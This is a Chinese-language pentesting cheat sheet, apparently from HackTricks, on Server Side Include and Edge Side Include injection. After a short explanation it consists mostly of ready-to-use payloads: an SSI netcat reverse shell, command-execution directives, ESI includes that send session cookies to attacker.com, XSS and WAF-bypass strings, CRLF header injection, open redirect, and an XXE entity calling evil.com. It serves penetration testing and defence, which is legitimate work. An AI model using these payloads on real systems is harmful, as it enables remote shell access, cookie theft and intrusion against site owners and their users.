Server Side Inclusion/Edge Side Inclusion Injection

支持 HackTricks

服务器端包含基本信息

(介绍摘自 Apache 文档

SSI(服务器端包含)是放置在 HTML 页面中的指令,并在服务器上进行评估,同时页面被提供。它们允许您向现有 HTML 页面添加动态生成的内容,而无需通过 CGI 程序或其他动态技术提供整个页面。 例如,您可以在现有 HTML 页面中放置一个指令,如:

<!--#echo var="DATE_LOCAL" -->

当页面被提供时,这个片段将被评估并替换为其值:

星期二, 2013年1月15日 19:28:54 EST

使用 SSI 的决定,以及何时让您的页面完全由某个程序生成,通常取决于页面的静态部分有多少,以及每次页面被提供时需要重新计算多少。SSI 是添加小块信息的好方法,例如上面显示的当前时间。但如果您的页面大部分是在提供时生成的,您需要寻找其他解决方案。

如果 Web 应用程序使用扩展名为 .shtml.shtm.stm 的文件,您可以推断出 SSI 的存在,但这并不是唯一的情况。

一个典型的 SSI 表达式具有以下格式:

<!--#directive param="value" -->

检查

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

存在一个问题,即缓存信息或动态应用程序作为内容的一部分可能在下次检索内容时有所不同。这就是ESI的用途,通过使用ESI标签来指示需要生成的动态内容,然后再发送缓存版本。 如果一个攻击者能够在缓存内容中注入一个ESI标签,那么他就能够在文档发送给用户之前注入任意内容

ESI Detection

以下头部在服务器的响应中意味着服务器正在使用ESI:

Surrogate-Control: content="ESI/1.0"

如果你找不到这个头,服务器可能仍在使用 ESI盲目利用的方法也可以使用,因为请求应该到达攻击者的服务器:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI 利用

GoSecure 创建了 一个表格,以了解我们可以针对不同 ESI 能力软件尝试的可能攻击,具体取决于支持的功能:

  • Includes: 支持 <esi:includes> 指令

  • Vars: 支持 <esi:vars> 指令。用于绕过 XSS 过滤器

  • Cookie: 文档 cookies 对 ESI 引擎可访问

  • Upstream Headers Required: 代理应用程序不会处理 ESI 语句,除非上游应用程序提供头信息

  • Host Allowlist: 在这种情况下,ESI 包含仅可能来自允许的服务器主机,使得 SSRF 例如,仅可能针对这些主机

软件

Includes

Vars

Cookies

Upstream Headers Required

Host Whitelist

Squid3

Varnish Cache

Fastly

Akamai ESI 测试服务器 (ETS)

NodeJS esi

NodeJS nodesi

可选

XSS

以下 ESI 指令将在服务器的响应中加载任意文件

<esi:include src=http://attacker.com/xss.html>

绕过客户端 XSS 保护

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
  • 远程偷取 Cookie

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • 通过在响应中反射来利用XSS窃取HTTP_ONLY cookie:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

私有本地文件

不要将其与“本地文件包含”混淆:

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

以下内容将向响应添加一个 Location 头部

<!--esi $add_header('Location','http://attacker.com') -->

添加头部

  • 在强制请求中添加头部

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • 在响应中添加头部(有助于绕过响应中的“Content-Type: text/json”以进行XSS)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF 在 Add header (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

这将发送包含在响应中的调试信息:

<esi:debug/>

ESI + XSLT = XXE

通过为 dca 参数指定 xslt 值,可以包含基于 eXtensible Stylesheet Language Transformations (XSLT) 的 ESI。此包含导致 HTTP 代理检索 XML 和 XSLT 文件,后者过滤前者。这些 XML 文件可被利用进行 XML External Entity (XXE) 攻击,使攻击者能够执行 SSRF 攻击。然而,这种方法的实用性有限,因为 ESI 本身已经作为 SSRF 向量。由于底层 Xalan 库不支持,外部 DTD 不会被处理,从而阻止了本地文件提取。

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT 文件:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

检查 XSLT 页面:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

参考文献

暴力破解检测列表

支持 HackTricks

Last updated